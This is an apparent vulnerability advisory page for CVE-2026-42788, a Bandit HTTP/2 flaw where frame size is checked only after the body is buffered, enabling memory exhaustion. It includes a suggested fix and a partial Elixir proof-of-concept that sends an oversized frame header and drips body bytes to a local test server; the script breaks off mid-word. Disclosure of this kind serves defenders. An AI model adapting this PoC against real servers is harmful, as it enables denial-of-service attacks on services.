Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-42788 — bandit

⚪ Unknown ✅ No Known Exploit CWE-770 NVD
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Bandit HTTP/2 Frame Size Limit Bypass via Late Buffer Check Enables Memory Exhaustion

Summary

Bandit's HTTP/2 parser checks frame size *after* it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.

Details

In lib/bandit/http2/frame.ex:23-65, every clause that could detect an oversized frame requires payload::binary-size(length) to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns {:more, msg} and the connection layer keeps reading. So the cap fires only after the violation is complete.

The frame type and stream id don't matter; the parser never gets that far.

PoC

The script is at the end. It:

1. Opens an h2c connection to a Bandit server it starts itself.

2. Sends a 9-byte frame header announcing length = 0xFFFFFF (~16 MiB).

3. Polls for GOAWAY(FRAME_SIZE_ERROR). If silent, drips body bytes in 64 KiB chunks.

A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.

Suggested fix

Add a header-only clause that rejects on the length field alone, e.g. def deserialize(<<length::24, _::binary>> = msg, max_frame_size) when length > max_frame_size, do: {{:error, frame_size_error(), "..."}, drop_frame_or_close(msg)}, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.

Impact

Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated max_frame_size should allow. No code execution, no data disclosure — pure resource exhaustion.

Fix: add a header-only clause that rejects on length > max_frame_size as soon as the 9 header bytes arrive, before the body-bearing clauses.

```elixir

# Bandit HTTP/2 oversized-frame late-check PoC.

#

# RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.

# Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this

# limit *after* matching payload::binary-size(length) in the frame

# pattern. When the announced length exceeds what the buffer holds,

# none of the body-bearing clauses match and deserialize/2 returns

# {:more, msg}, telling the caller to keep buffering. The oversize

# error in the "valid shape, length > max_frame_size" clause therefore

# fires only *after* the entire announced body has been received —

# letting a peer trickle up to ~16 MiB per frame (the 24-bit length

# field maximum) into the server before the cap engages, well past

# the 16 KiB the server agreed to.

#

# This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips

# body bytes in 64 KiB chunks, and after each chunk does a brief

# non-blocking recv to see if the server has reacted. A patched server

# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header

# alone is enough). A vulnerable server keeps silently accepting up

# to the full 16 MiB.

#

# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive

# header — the parser never reaches dispatch (it's stuck buffering

# body), so the type and stream id are immaterial to the bug.

#

# Run: elixir scripts/bandit/http2_frame_size_late_check.exs

Mix.install([

{:bandit, "~> 1.10"},

{:plug, "~> 1.19"}

])

defmodule NoopApp do

@behaviour Plug

def init(opts), do: opts

def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, "ok\n")

end

defmodule FrameSizeLateCheck do

@port 4321

@connection_preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

@type_settings 0x4

@type_goaway 0x7

@flag_settings_ack 0x1

@max_24_bit 0xFFFFFF

@drip_chunk_size 64 * 1024

@max_total_drip 4 * 1024 * 1024

def run do

{:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)

{:ok, sock} =

:gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])

advertised_max_frame_size = handshake!(sock)

log("Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_size}.")

abusive_header =

frame_header(@max_24_bit, @type_settings, 0, 0)

log(

"Sending oversized SETTINGS header: length=#{@max_24_bit} " <>

"(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}."

)

:ok = :gen_tcp.send(sock, abusive_header)

case poll_for_reaction(sock, 200) do

{:goaway, error_code} ->

log("Server sent GOAWAY on header alone: error_code=#{error_code} — patched.")

finish(sock)

:silent ->

log("Server silent after header. Beginning body drip…")

dri

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity none, availability low.

CVSS metrics in full

The score comes from this vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Attack requirements: None — no deployment-specific condition has to hold.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: Low — limited, and the attacker does not choose what is affected.

Weakness class

CVE-2026-42788 is classified as CWE-770: Allocation of Resources Without Limits. Resources are allocated on request with no cap, so a client can exhaust them.

Affected software

CVE-2026-42788 is recorded against 2 packages.

  • bandit
  • unknown

Timeline and source

Published on 7 May 2026 and last revised on 30 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
cna.erlef.org (Web)
github.com (Package)
osv.dev (Web)

Other advisories for this package

bandit has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-770: Allocation of Resources Without Limits) in other software:

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
CWE CWE-770
Public Exploit ✅ No
Source NVD
Published 2026-05-07
Updated 2026-08-20
Modified 2026-07-30

Affected Packages

Software From version Fixed in
bandit
unknown

Similar Threats

Free Vulnerability Check

Is your site affected by CVE-2026-42788?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-42788 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026